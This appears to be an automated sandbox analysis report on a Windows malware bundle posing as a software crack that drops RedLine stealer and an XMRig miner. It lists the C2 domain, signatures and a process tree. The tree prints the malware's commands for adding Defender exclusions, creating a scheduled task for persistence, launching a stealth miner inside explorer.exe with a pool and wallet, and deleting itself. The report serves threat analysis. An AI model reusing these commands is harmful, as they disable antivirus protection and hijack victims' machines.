Analysis

  • max time kernel
    151s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    09/08/2021, 04:47

General

  • Target
    53186ce79e6468105c773438acbe87f1.exe
  • Size 2.6MB
  • Sample210809-3a7g51281j
  • SHA256 9dbdfabbc99542e1c94b7a29eaf437b7fa4c898c4add1a677b126257ae54f94e
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • redline

Botnet
  • newbildWW

C2
  • xietharria.xyz:80

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)

    suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 17 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 10 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 16 IoCs
  • Modifies registry class 18 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
    1⤵
      PID:1008
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Schedule
      1⤵
      • Drops file in System32 directory
      PID:1084
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s SENS
      1⤵
        PID:1420
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
        1⤵
          PID:1948
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
          1⤵
            PID:2528
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s WpnService
            1⤵
              PID:2800
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2780
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s Browser
              1⤵
                PID:2696
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2536
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                1⤵
                  PID:1412
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Themes
                  1⤵
                    PID:1176
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                    1⤵
                    • Modifies registry class
                    PID:1140
                  • C:\Users\Admin\AppData\Local\Temp\53186ce79e6468105c773438acbe87f1.exe
                    "C:\Users\Admin\AppData\Local\Temp\53186ce79e6468105c773438acbe87f1.exe"
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1892
                    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\GloryWsetp.exe
                      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\GloryWsetp.exe"
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:2104
                      • C:\Users\Admin\AppData\Local\Temp\Chrome3.exe
                        "C:\Users\Admin\AppData\Local\Temp\Chrome3.exe"
                        3⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:700
                        • C:\Windows\SYSTEM32\cmd.exe
                          "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
                          4⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3972
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                            5⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1200
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                            5⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4952
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                            5⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:4468
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
                            5⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:5104
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\Chrome3.exe"
                          4⤵
                            PID:4872
                            • C:\Users\Admin\AppData\Local\Temp\svchost64.exe
                              C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\Chrome3.exe"
                              5⤵
                              • Executes dropped EXE
                              • Drops file in System32 directory
                              PID:4040
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
                                6⤵
                                  PID:1284
                                  • C:\Windows\system32\schtasks.exe
                                    schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
                                    7⤵
                                    • Creates scheduled task(s)
                                    PID:4368
                                • C:\Windows\system32\services64.exe
                                  "C:\Windows\system32\services64.exe"
                                  6⤵
                                  • Executes dropped EXE
                                  PID:2792
                                  • C:\Windows\system32\cmd.exe
                                    "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
                                    7⤵
                                      PID:3124
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                                        8⤵
                                          PID:3220
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                                          8⤵
                                            PID:1112
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                                            8⤵
                                              PID:4544
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
                                              8⤵
                                                PID:1060
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
                                              7⤵
                                                PID:4872
                                                • C:\Users\Admin\AppData\Local\Temp\svchost64.exe
                                                  C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
                                                  8⤵
                                                  • Executes dropped EXE
                                                  • Drops file in System32 directory
                                                  • Suspicious use of SetThreadContext
                                                  PID:2736
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
                                                    9⤵
                                                      PID:4548
                                                      • C:\Windows\system32\schtasks.exe
                                                        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
                                                        10⤵
                                                        • Creates scheduled task(s)
                                                        PID:1928
                                                    • C:\Windows\system32\Microsoft\Libs\sihost64.exe
                                                      "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
                                                      9⤵
                                                      • Executes dropped EXE
                                                      PID:4384
                                                    • C:\Windows\explorer.exe
                                                      C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.office/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6BetGR/pnUtRI9a9x7kTNHhD/AzlqVRzHV746NYfGJ5T" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
                                                      9⤵
                                                        PID:2324
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost64.exe"
                                                        9⤵
                                                          PID:2552
                                                          • C:\Windows\system32\choice.exe
                                                            choice /C Y /N /D Y /T 3
                                                            10⤵
                                                              PID:2816
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost64.exe"
                                                      6⤵
                                                        PID:3968
                                                        • C:\Windows\system32\choice.exe
                                                          choice /C Y /N /D Y /T 3
                                                          7⤵
                                                            PID:4700
                                                  • C:\Users\Admin\AppData\Local\Temp\GloryWSetp.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\GloryWSetp.exe"
                                                    3⤵
                                                    • Executes dropped EXE
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:3996
                                                    • C:\Users\Admin\AppData\Roaming\1988171.exe
                                                      "C:\Users\Admin\AppData\Roaming\1988171.exe"
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:1108
                                                      • C:\Windows\system32\WerFault.exe
                                                        C:\Windows\system32\WerFault.exe -u -p 1108 -s 2064
                                                        5⤵
                                                        • Program crash
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:4492
                                                    • C:\Users\Admin\AppData\Roaming\7981568.exe
                                                      "C:\Users\Admin\AppData\Roaming\7981568.exe"
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • Adds Run key to start application
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:4136
                                                      • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                        5⤵
                                                        • Executes dropped EXE
                                                        PID:4524
                                                    • C:\Users\Admin\AppData\Roaming\1682824.exe
                                                      "C:\Users\Admin\AppData\Roaming\1682824.exe"
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:4284
                                                    • C:\Users\Admin\AppData\Roaming\4971975.exe
                                                      "C:\Users\Admin\AppData\Roaming\4971975.exe"
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:4360
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4360 -s 2032
                                                        5⤵
                                                        • Drops file in Windows directory
                                                        • Program crash
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:4228
                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Crack.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Crack.exe"
                                                  2⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:2148
                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Crack.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Crack.exe" -a
                                                    3⤵
                                                    • Executes dropped EXE
                                                    PID:3948
                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\KiffApp2.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\KiffApp2.exe"
                                                  2⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:1372
                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\PlsWnEU2.exe
                                                    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\PlsWnEU2.exe"
                                                    3⤵
                                                    • Executes dropped EXE
                                                    • Suspicious use of SetThreadContext
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:5076
                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\PlsWnEU2.exe
                                                      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\PlsWnEU2.exe"
                                                      4⤵
                                                      • Executes dropped EXE
                                                      PID:4392
                                              • \??\c:\windows\system32\svchost.exe
                                                c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                1⤵
                                                • Suspicious use of SetThreadContext
                                                • Modifies registry class
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                • Suspicious use of WriteProcessMemory
                                                PID:2884
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                  2⤵
                                                  • Drops file in System32 directory
                                                  • Checks processor information in registry
                                                  • Modifies data under HKEY_USERS
                                                  • Modifies registry class
                                                  PID:4168
                                              • C:\Windows\system32\rundll32.exe
                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                1⤵
                                                • Process spawned unexpected child process
                                                • Suspicious use of WriteProcessMemory
                                                PID:4980
                                                • C:\Windows\SysWOW64\rundll32.exe
                                                  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                  2⤵
                                                  • Loads dropped DLL
                                                  • Modifies registry class
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:4996

                                              Network

                                                    MITRE ATT&CK Enterprise v6

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    memory/700-131-0x000000001BDD0000-0x000000001BDD2000-memory.dmp

                                                    memory/700-125-0x00000000001F0000-0x00000000001F1000-memory.dmp

                                                    memory/1008-277-0x00000196C6810000-0x00000196C6884000-memory.dmp

                                                    memory/1060-632-0x000002757B9C8000-0x000002757B9C9000-memory.dmp

                                                    memory/1060-627-0x000002757B9C3000-0x000002757B9C5000-memory.dmp

                                                    memory/1060-626-0x000002757B9C0000-0x000002757B9C2000-memory.dmp

                                                    memory/1060-628-0x000002757B9C6000-0x000002757B9C8000-memory.dmp

                                                    memory/1084-306-0x0000022C8DEB0000-0x0000022C8DF24000-memory.dmp

                                                    memory/1108-176-0x0000000002460000-0x0000000002491000-memory.dmp

                                                    memory/1108-195-0x000000001B2F0000-0x000000001B2F2000-memory.dmp

                                                    memory/1108-179-0x00000000024A0000-0x00000000024A1000-memory.dmp

                                                    memory/1108-163-0x0000000000580000-0x0000000000581000-memory.dmp

                                                    memory/1108-171-0x0000000000CA0000-0x0000000000CA1000-memory.dmp

                                                    memory/1112-552-0x000002629C903000-0x000002629C905000-memory.dmp

                                                    memory/1112-553-0x000002629C908000-0x000002629C909000-memory.dmp

                                                    memory/1112-551-0x000002629C900000-0x000002629C902000-memory.dmp

                                                    memory/1112-554-0x000002629C906000-0x000002629C908000-memory.dmp

                                                    memory/1140-273-0x0000026E3D570000-0x0000026E3D5E4000-memory.dmp

                                                    memory/1176-309-0x00000217A10D0000-0x00000217A1144000-memory.dmp

                                                    memory/1200-162-0x00000222CD960000-0x00000222CD962000-memory.dmp

                                                    memory/1200-199-0x00000222CD966000-0x00000222CD968000-memory.dmp

                                                    memory/1200-158-0x00000222E9960000-0x00000222E9961000-memory.dmp

                                                    memory/1200-254-0x00000222CD968000-0x00000222CD969000-memory.dmp

                                                    memory/1200-146-0x00000222CF7D0000-0x00000222CF7D1000-memory.dmp

                                                    memory/1200-164-0x00000222CD963000-0x00000222CD965000-memory.dmp

                                                    memory/1372-258-0x00000000011B4000-0x00000000011B5000-memory.dmp

                                                    memory/1372-229-0x00000000011B0000-0x00000000011B2000-memory.dmp

                                                    memory/1372-151-0x0000000000B00000-0x0000000000B01000-memory.dmp

                                                    memory/1372-257-0x00000000011B2000-0x00000000011B4000-memory.dmp

                                                    memory/1412-310-0x00000211C2270000-0x00000211C22E4000-memory.dmp

                                                    memory/1420-307-0x000002BC1B0A0000-0x000002BC1B114000-memory.dmp

                                                    memory/1948-308-0x00000288EC7D0000-0x00000288EC844000-memory.dmp

                                                    memory/2104-119-0x0000000000880000-0x0000000000881000-memory.dmp

                                                    memory/2528-261-0x0000019512270000-0x00000195122E4000-memory.dmp

                                                    memory/2536-268-0x00000204664A0000-0x0000020466514000-memory.dmp

                                                    memory/2696-272-0x000001617A770000-0x000001617A7E4000-memory.dmp

                                                    memory/2780-311-0x000002B7E0530000-0x000002B7E05A4000-memory.dmp

                                                    memory/2792-479-0x00000000028B0000-0x00000000028B2000-memory.dmp

                                                    memory/2800-313-0x0000024037E00000-0x0000024037E74000-memory.dmp

                                                    memory/2884-267-0x0000019225BD0000-0x0000019225C1D000-memory.dmp

                                                    memory/2884-270-0x0000019225EC0000-0x0000019225F34000-memory.dmp

                                                    memory/3220-513-0x000002213F663000-0x000002213F665000-memory.dmp

                                                    memory/3220-514-0x000002213F666000-0x000002213F668000-memory.dmp

                                                    memory/3220-550-0x000002213F668000-0x000002213F669000-memory.dmp

                                                    memory/3220-512-0x000002213F660000-0x000002213F662000-memory.dmp

                                                    memory/3996-168-0x000000001BAF0000-0x000000001BAF2000-memory.dmp

                                                    memory/3996-143-0x0000000001160000-0x0000000001161000-memory.dmp

                                                    memory/3996-129-0x0000000000CD0000-0x0000000000CD1000-memory.dmp

                                                    memory/3996-135-0x0000000001130000-0x0000000001131000-memory.dmp

                                                    memory/3996-140-0x0000000001140000-0x0000000001160000-memory.dmp

                                                    memory/4040-468-0x000000001BEE0000-0x000000001BEE2000-memory.dmp

                                                    memory/4136-169-0x0000000000940000-0x0000000000941000-memory.dmp

                                                    memory/4136-177-0x00000000011E0000-0x00000000011E7000-memory.dmp

                                                    memory/4136-178-0x0000000007B30000-0x0000000007B31000-memory.dmp

                                                    memory/4136-182-0x00000000076D0000-0x00000000076D1000-memory.dmp

                                                    memory/4168-274-0x000001FD62100000-0x000001FD62174000-memory.dmp

                                                    memory/4168-458-0x000001FD64900000-0x000001FD64A06000-memory.dmp

                                                    memory/4168-457-0x000001FD639B0000-0x000001FD639CB000-memory.dmp

                                                    memory/4284-390-0x0000000009550000-0x0000000009551000-memory.dmp

                                                    memory/4284-224-0x0000000007F40000-0x0000000007F41000-memory.dmp

                                                    memory/4284-203-0x0000000005600000-0x0000000005601000-memory.dmp

                                                    memory/4284-207-0x0000000005580000-0x00000000055AB000-memory.dmp

                                                    memory/4284-220-0x0000000007EA0000-0x0000000007EA1000-memory.dmp

                                                    memory/4284-187-0x0000000000BE0000-0x0000000000BE1000-memory.dmp

                                                    memory/4284-221-0x0000000007F00000-0x0000000007F01000-memory.dmp

                                                    memory/4284-216-0x0000000008450000-0x0000000008451000-memory.dmp

                                                    memory/4284-232-0x00000000080D0000-0x00000000080D1000-memory.dmp

                                                    memory/4360-215-0x0000000004380000-0x00000000043C4000-memory.dmp

                                                    memory/4360-193-0x0000000002220000-0x0000000002221000-memory.dmp

                                                    memory/4360-231-0x0000000004950000-0x0000000004951000-memory.dmp

                                                    memory/4360-184-0x0000000000260000-0x0000000000261000-memory.dmp

                                                    memory/4360-222-0x00000000043F0000-0x00000000043F1000-memory.dmp

                                                    memory/4360-357-0x00000000081A0000-0x00000000081A1000-memory.dmp

                                                    memory/4360-233-0x0000000007B00000-0x0000000007B01000-memory.dmp

                                                    memory/4392-360-0x0000000000400000-0x000000000041E000-memory.dmp

                                                    memory/4392-397-0x0000000004CA0000-0x00000000052A6000-memory.dmp

                                                    memory/4468-375-0x000002B598473000-0x000002B598475000-memory.dmp

                                                    memory/4468-377-0x000002B598476000-0x000002B598478000-memory.dmp

                                                    memory/4468-372-0x000002B598470000-0x000002B598472000-memory.dmp

                                                    memory/4468-405-0x000002B598478000-0x000002B598479000-memory.dmp

                                                    memory/4524-223-0x0000000008080000-0x0000000008081000-memory.dmp

                                                    memory/4524-230-0x00000000029B0000-0x00000000029B1000-memory.dmp

                                                    memory/4544-588-0x00000267FF583000-0x00000267FF585000-memory.dmp

                                                    memory/4544-625-0x00000267FF588000-0x00000267FF589000-memory.dmp

                                                    memory/4544-589-0x00000267FF586000-0x00000267FF588000-memory.dmp

                                                    memory/4544-587-0x00000267FF580000-0x00000267FF582000-memory.dmp

                                                    memory/4952-339-0x000001CA72D46000-0x000001CA72D48000-memory.dmp

                                                    memory/4952-312-0x000001CA72D40000-0x000001CA72D42000-memory.dmp

                                                    memory/4952-314-0x000001CA72D43000-0x000001CA72D45000-memory.dmp

                                                    memory/4952-341-0x000001CA72D48000-0x000001CA72D49000-memory.dmp

                                                    memory/4996-265-0x0000000000D00000-0x0000000000D5F000-memory.dmp

                                                    memory/4996-260-0x0000000004685000-0x0000000004786000-memory.dmp

                                                    memory/5076-252-0x0000000000DE0000-0x0000000000DE1000-memory.dmp

                                                    memory/5076-255-0x0000000005640000-0x0000000005641000-memory.dmp

                                                    memory/5076-262-0x00000000055C0000-0x00000000055C1000-memory.dmp

                                                    memory/5076-263-0x00000000055C0000-0x0000000005636000-memory.dmp

                                                    memory/5104-438-0x0000022B56F26000-0x0000022B56F28000-memory.dmp

                                                    memory/5104-447-0x0000022B56F28000-0x0000022B56F29000-memory.dmp

                                                    memory/5104-436-0x0000022B56F23000-0x0000022B56F25000-memory.dmp

                                                    memory/5104-433-0x0000022B56F20000-0x0000022B56F22000-memory.dmp